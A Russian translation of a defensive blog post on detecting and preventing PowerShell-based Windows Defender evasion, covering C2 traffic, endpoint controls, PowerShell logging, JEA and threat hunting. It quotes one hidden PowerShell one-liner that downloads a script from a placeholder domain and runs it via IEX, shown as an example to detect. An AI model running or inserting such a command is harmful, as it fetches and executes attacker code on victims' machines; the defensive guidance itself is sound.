Перевод: Борьба с продвинутыми попытками обхода Windows Defender

Содержание

• Введение
• Обнаружение трафика командного и управляющего центра (C2)
• Обнаружение и предотвращение конечных точек
• Обеспечение безопасности Powershell
• Охота за угрозами
• Бонус
• Заключение

Введение

Некоторые из вас, возможно, читали учебники от моего уважаемого коллеги Crypt0jan о том, как обойти Защитник Windows. Это все прекрасно и замечательно, но мы - Purple Team, и моя работа как Blue Team и охотника заключается в том, чтобы убедиться, что такие парни, как он, не преуспеют в своих начинаниях. В этом блоге я проанализирую, что он сделал в Red Team Tutorial # 3 и # 4, и как вы можете предотвратить и обнаружить эти атаки. Для большинства случаев обнаружения и предотвращения атак я предполагаю, что ваша организация является в некоторой степени зрелой и имеет систему регистрации и мониторинга. Следует помнить, что выполнить все эти рекомендации для всей сети практически невозможно.

Обнаружение трафика командного и управляющего центра (C2)

В руководствах Crypt0jan сначала происходит настройка Empire/Meterpreter C2 на использование TLS, запускает stager, создает полезную нагрузку и развертывает Powershell oneliner для загрузки и выполнения этой полезной нагрузки. Давайте начнем с самого начала и посмотрим, что мы можем сделать, чтобы усложнить ему задачу.

C2 использует TLS, что очень для нас плохо. Компания Sophos написала отличный блог о том, почему именно это плохо и сколько C2 они видели, которые в настоящее время используют TLS. Конечно, вы можете использовать перехват TLS или машинное обучение для обнаружения вредоносного трафика, но это довольно сложная задача, которую трудно решить. Можно также проверить DNS на наличие новых доменов, проверить возраст домена и домены DGA. Это может сработать для обычного вредоносного ПО, однако это, представляет риск OPSEC, если у вас нет безопасного способа проверки доменов. Более продвинутый противник не будет торопиться и воспользуется взломанной, купленной или хорошо известной (обращаюсь к вам AWS) инфраструктурой, чтобы слиться с остальными.

Вывод заключается в том, что обнаружить это очень сложно, если все сделано правильно, и вам, вероятно, придется полагаться на Threat Intel или на удачу, чтобы обнаружить C2, использующий TLS. Это перемещает нашу цель дальше по цепочке уничтожения, предотвращая выполнение полезной нагрузки на конечной точке.

Обнаружение и предотвращение конечных точек

Теперь, прежде чем произойдет успешное C2-соединение и доступ к оболочке, сначала необходимо загрузить и выполнить на цели stager и полезную нагрузку. Однако эта статья не просто так имеет в названии слово "продвинутый". Техника, используемая в учебниках Red Team, немного отличается: атакующий использует безфайловое вредоносное ПО с Powershell в памяти с помощью IEX (Invoke-Expression) для обхода блокировки определенных расширений и AMSI. При этом предполагается, что атакующий уже имеет доступ к Powershell или обманом заставил кого-то запустить код. Существуют некоторые основные контрмеры, которые уже сейчас могут помешать злоумышленнику зайти так далеко и, по крайней мере, усложнить атаку:

• Ограничьте доступ к Powershell (и другим инструментам создания сценариев, таким как CMD, WMIC и VBScript) только администраторам и только если это действительно необходимо. Позже я расскажу об этом подробнее.
• Ограничьте прямой доступ в Интернет в своей сети. Используйте ферму виртуальных машин в качестве промежуточного сервера для пользователей в DMZ. Единственное, что они могут делать там, это запускать браузер и загружать разрешенные приложения через защищенный файловый шлюз. Да, это раздражает пользователей, но это делает подключение к C2 чертовски сложным, а у вас больше шансов обнаружить C2.
• Развертывание системы обнаружения и реагирования на конечные точки (EDR) помимо или в дополнение к Defender. Microsoft ATP или ASR также является одним из вариантов. Крупные поставщики антивирусных программ очень хорошо освоили EDR, и большинство из них имеют отличные способы просмотра выполнения процессов в системе и проверки их на наличие вредоносного кода.
• Используйте Threat Intel вместе с IOC и надейтесь, что вредоносная программа уже была поймана в другом месте, если она не предназначена напрямую для вас.
• Внедряйте средства контроля CIS на основе оценки рисков. Многие организации до сих пор не имеют этих базовых принципов.

Более подробную информацию об угрозах, использующих Powershell, и о мерах по их снижению можно найти на сайте MITRE ATT&CK.

Печальная правда заключается в том, что на практике большинство из этих вещей не применяются, и вполне вероятно, что злоумышленник найдет точку опоры в вашей сети, ведь "предположить нарушение" - это не просто так.

Обеспечение безопасности Powershell

Что же мы можем сделать для обеспечения безопасности Powershell? Прежде всего, включите расширенную регистрацию. Это позволит выводить гораздо больше журналов, чем стандартные журналы событий windows, включая блоки кода (убедитесь, что вы используете защищенную регистрацию событий, как указано в ссылке на расширенную регистрацию).

Я настоятельно рекомендую вам прочитать эту статью от FireEye на эту тему. Более подробное протоколирование и мониторинг позволят вашему SOC написать правила обнаружения, так что когда вы видите такие вещи, как ниже, в сочетании с подозрительными доменными именами, вы знаете, что у вас могут быть проблемы.

powershell.exe -nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOURDOMAINHERE/loader.ps1') | IEX

Выполнение этой команды с включенным протоколированием выглядит следующим образом:

Еще одна вещь, которую вы всегда должны делать, это ограничивать политику выполнения Powershell и устанавливать ее как минимум на restricted, хотя signed также является вариантом. Это не защитит от простого выполнения кода в Powershell и, следовательно, от этой атаки, но, по крайней мере, это защитит вас от выполнения сценариев. Злоумышленник, получивший повышенные привилегии, может изменить этот параметр, но это событие должно быть отправлено в журнал событий Windows, поэтому вы сможете его обнаружить (и у вас уже есть готовый пример использования).

Наконец, можно использовать Just Enough Administration (JEA). С веб-сайта Microsoft:

Just Enough Administration (JEA) - это технология безопасности, которая позволяет делегировать администрирование для всего, что управляется с помощью PowerShell. С помощью JEA вы можете:

• Сократить количество администраторов на ваших машинах, используя виртуальные учетные записи или управляемые группами учетные записи служб для выполнения привилегированных действий от имени обычных пользователей.
• Ограничить действия пользователей, указав, какие команды, функции и внешние команды они могут выполнять.
• Лучше понять, что делают ваши пользователи, с помощью расшифровок и журналов, которые показывают, какие именно команды пользователь выполнил во время сеанса.

Охота за угрозами

А что если все это не сработает? Это сводится к охоте на безфайловые вредоносные программы. Охота обычно начинается с триггера. Триггером может (должно) быть выполнение Powershell. Например, пользователь, который обычно не пользуется Powershell, его использование в нерабочее время или же проверка блоков кода, которые вы включили ранее, на наличие аномалий. Здесь важно знать, что является нормальным для вашей сети. Обратите внимание, что почти все эти вещи требуют времени, усилий, навыков, правильных инструментов и определенной квалификации вашей команды Blue Team.

Как я уже говорил, следует помнить, что выполнить все эти рекомендации для всей сети практически невозможно. Поэтому вы должны знать свои "Важные данные" - то, что вы абсолютно точно должны защитить, и начать строить вокруг них самые высокие защитные стены. В то же время вы допускаете, что менее важные части вашей сети могут стать жертвой злоумышленников. И это нормально, если вы можете защитить свои важные данные и обнаружить их в своей сети в определенный момент.

Одним из лучших способов обнаружения безфайловых вредоносных программ является создание дампа памяти подозрительной системы (систем) и его анализ. Однако следует учитывать, что для этого необходимо наличие инструментов в системе, и если в ней присутствует агент угрозы, это может насторожить его/ее, что может привести к большим неприятностям. Правильный порядок действий следует выбирать в каждом конкретном случае, исходя из риска, на который вы готовы пойти, и достоверности того, что вам известно.

Во-первых, попробуйте найти другие индикаторы компрометации не непосредственно из системы, например, журналы DNS для проверки странных доменов, netflow и удаленный журнал событий Windows. Возможно, затем вы сможете попытаться собрать данные из системы. Например, используя sysinternals для проверки процессов и открытых портов. Старайтесь делать всё это в обычные рабочие часы и в обычном режиме администратора, поскольку в противном случае это может насторожить злоумышленника.

Если система является виртуальной машиной, вам повезло, потому что вы можете либо сделать снимок/клон для анализа, либо проанализировать файл виртуальной памяти (*.vmem, например, в VMWare) с помощью такого инструмента, как Volatility. Я не буду подробно описывать, как это сделать, потому что этот блог получился бы слишком длинным, а по Volatility уже есть достаточно отличных руководств. Если вы анализировали журналы, которые я указал ранее, вы могли собрать некоторые IoC, которые теперь можно искать в памяти. Подумайте о доменах, IP-адресах или подозрительных процессах.

Бонус

Обратите внимание, что создание запланированной задачи с помощью этих команд также будет отображаться в журналах событий, если у вас включена регистрация Powershell. Вы также должны вести журнал создания запланированных задач, обычно это не включено по умолчанию! Журналы можно найти здесь:

Applications and Services Logs-Microsoft-Windows-TaskScheduler/Operational

EventID 129 используется для создания заданий, а 141 - для удаления заданий.

Заключение

Существует несколько способов предотвращения и обнаружения неправомерного использования Powershell, описанных в учебниках Red Team. Предотвращение всегда лучше, чем обнаружение! Однако это, конечно, нелегко, и лучший способ реализовать некоторые или все из них - это начать с малого и приступить к своим основным средствам. Если бы мне пришлось выбирать только две меры противодействия, я бы ограничил использование Powershell только администраторами, которым это действительно необходимо, и включил логирование сценарных блоков Powershell для обнаружения вредоносного поведения.

Перевод статьи был выполнен проектом перевод энтузиаста:

• 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
• 🔥 @Ent_Translate - Инстаграм проекта